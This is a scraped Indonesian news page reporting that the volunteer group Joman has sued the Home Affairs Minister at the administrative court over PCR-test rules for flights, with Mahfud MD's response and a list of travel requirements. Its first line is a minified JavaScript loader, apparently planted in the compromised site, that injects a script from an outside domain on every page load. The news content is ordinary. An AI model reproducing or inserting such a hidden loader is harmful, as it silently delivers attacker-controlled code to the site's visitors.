(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Joman Gugat Mendagri ke PTUN Gegara Tes PCR, Mahfud: Aturan Atas Perintah Sidang Kabinet


KANALKALIMANTAN.COM – Relawan Jokowi Mania atau Joman resmi menggugat Menteri Dalam Negeri (Mendagri) ke Pengadilan Tata Usaha Negara (PTUN) terkait syarat wajib tes PCR untuk penumpang pesawat. Ketika ditanyakan soal itu, Menteri Koordinator bidang Politik, Hukum dan Keamanan (Menko Polhukam) Mahfud MD menilai kalau aturan tersebut dibuat bukan atas dasar semata-mata kemauan Tito.

Aturan syarat wajib tes PCR untuk penerbangan itu tertuang dalam Instruksi Menteri Dalam Negeri (Inmendagri) Nomor 36, 47 dan 53 Tentang PPKM. Kata Mahfud, aturan itu sebelumnya sudah dirumuskan melalui sidang kabinet.

“Inmendagri itu dirilis oleh Mendagri berdasar keputusan sidang kabinet untuk tetap menjaga agar pelandaian Covid-19 terjaga. Mendagri membuat itu bukan semau-maunya sendiri tapi atas perintah sidang kabinet,” kata Mahfud saat dihubungi wartawan, Selasa (26/10/2021).

Di sisi lain, Mahfud juga menilai benar atau tidaknya gugatan itu dilayangkan tergantung pada putusan PTUN.

 

Baca juga : Potensi Wisata Air Terjun Batarius Didatangi Tim Peneliti Unibraw

“Soal benar atau tidaknya gugatan ke PTUN itu biar PTUN yang memutus.”

Joman Gugat Mendagri Tito ke PTUN

Menteri Dalam Negeri (Mendagri) Tito Karnavian hari ini resmi digugat oleh Relawan Jokowi Mania atau Joman terkait aturan wajib tes PCR bagi penumpang pesawat sebagaimana tertuang  dalam Instruksi Menteri Dalam Negeri (Mendagri) nomor 36, 47 dan 53. Joman pun menganggap jika Inmedagri yang dikeluarkan Tito Karnavian melanggar Undang Undang Dasar (UUD),

Hal itu disampaikan Ketua Umum Joman, Immanuel Ebenezer setelah laporan gugatannya diterima oleh Pengadilan Tata Usaha Negara (PTUN) Selasa (26/10/2021).

“Inmendagri karena kita lihat bahwa Inmendagri bertentangan dengan pasal 23 ayat A UUD 1945. yaitu, pajak dan pungutan lain yang bersifat memaksa untuk keperluan negara diatur dengan UU. Bukan oleh Inpres, bukan oleh kepmen, bukan juga Inmen. Ini jelas sekali melanggar UU,” katanya.

 

Baca juga : Potensi Anggrek Lokal Balangan, Ini Komentar Ketua PAI Kalsel

Relawan Jokowi ini pun mencurigai jika syarat tes PCR merupakan permainan mafia pandemi untuk mencari keuntungan saat rakyat sedang susah.

“Nah kami gak tahu maksudnya PCR ini karena aspek medis atau aspek bisnis. Karena sampai detik ini kami enggak tahu maksud dan tujuannya. Karena tugas kami yang jelas sebagai pendukung presiden akan memberhentikan pesta pora-para mafia pandemi,” kata dia.

Jika gugatannya tersebut dikabulkan maka syarat tes PCR terhadap masyarakat bisa dihapuskan atau dibebaskan. Ia menilai aturan tersebut berbahaya dan hanya memeras rakyat.

“Karena begini, rakyat bukannya tidak mau diatur, persoalannya rakyat jangan diperas dibalik aturan pemerintah atau apapun namanya. Ini bahaya, kasihan presiden dan masyarakat hari ini yang sudah susah menganggur karena tidak ada pekerjaan kemudian baru melakukan aktivitas pekerjaan ke luar kota harga tiket cuma 700 ribu tidak sebanding dengan harga PCR yang 900 ribu, 1,5 juta,” tandasnya.

 

Baca juga : Pemotor Tabrak Pejalan Kaki di Panglima Batur Dekat Balai Kota

 

Syarat Wajib Tes PCR

Berikut syarat penerbangan domestik yang mulai berlaku pada 24 Oktober 2021:

Tujuan ke Jawa – Bali (juga diatur InMendagri No. 53 tahun 2021):

– Wajib 2 dokumen yaitu kartu vaksin minimal dosis pertama dan surat keterangan hasil negatif tes RT-PCR (2 x 24 jam sebelum keberangkatan).

Tujuan ke non Jawa – Bali level 3 dan 4, (juga diatur InMendagri nomor 54 tahun 2021):

– Wajib menunjukkan 2 dokumen yaitu kartu vaksin minimal dosis pertama dan surat keterangan hasil negatif tes RT-PCR (2 x 24 jam).

Anak-anak usia kurang dari 12 tahun bisa naik pesawat dengan syarat wajib menunjukkan 1 dokumen yaitu hasil negatif tes COVID-19 sesuai dengan moda transportasi dan daerah tujuannya dan penerapan protokol kesehatan yang ketat. (Suara.com)

Editor : Suara


Desy Arfianty

Recent Posts

Jelang Misa Natal Semua Gereja di Banjarmasin Disterilisasi

KANALKALIMANTAN.COM, BANJARMASIN - Memastikan keamanan umat kristiani melaksanakan ibadat Natal 2024, kepolisian melakukan strelisasi gereja-gereja… Read More

4 jam ago

Menang di PTUN, KPU Banjarbaru Giliran Hadapi Gugatan di PN Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Absen pada sidang perdana di Pengadilan Negeri (PN) Banjarbaru, pihak tergugat Komisi… Read More

5 jam ago

Sambut Promo Natal & Promo Tahun Baru yang Lebih Seru Dengan Diskon Hingga Rp1,29 Juta!

KANALKALIMANTAN.COM - Setelah sukses menggebrak dengan promo spektakuler di HUT BRI ke-129, kini BRI kembali… Read More

7 jam ago

Pemkab Banjar Serahkan Bantuan Alsintan untuk Sejumlah Desa di Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Pemerintah Kabupaten Banjar menyerahkan bantuan alat dan mesin pertanian, di Mahligai Sultan… Read More

8 jam ago

Tak Kuat Menanjak, Truk Bermuatan Keramik Berjalan Mundur di Sungai Ulin

Tiga Mobil Pribadi dan Satu Motor Kena Imbas, Sopir Akui Rem Tak Normal Read More

8 jam ago

PTUN Banjarmasin Tolak Gugatan Atas KPU Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru memenuhi panggilan gugatan di Pengadilan Tata… Read More

9 jam ago

This website uses cookies.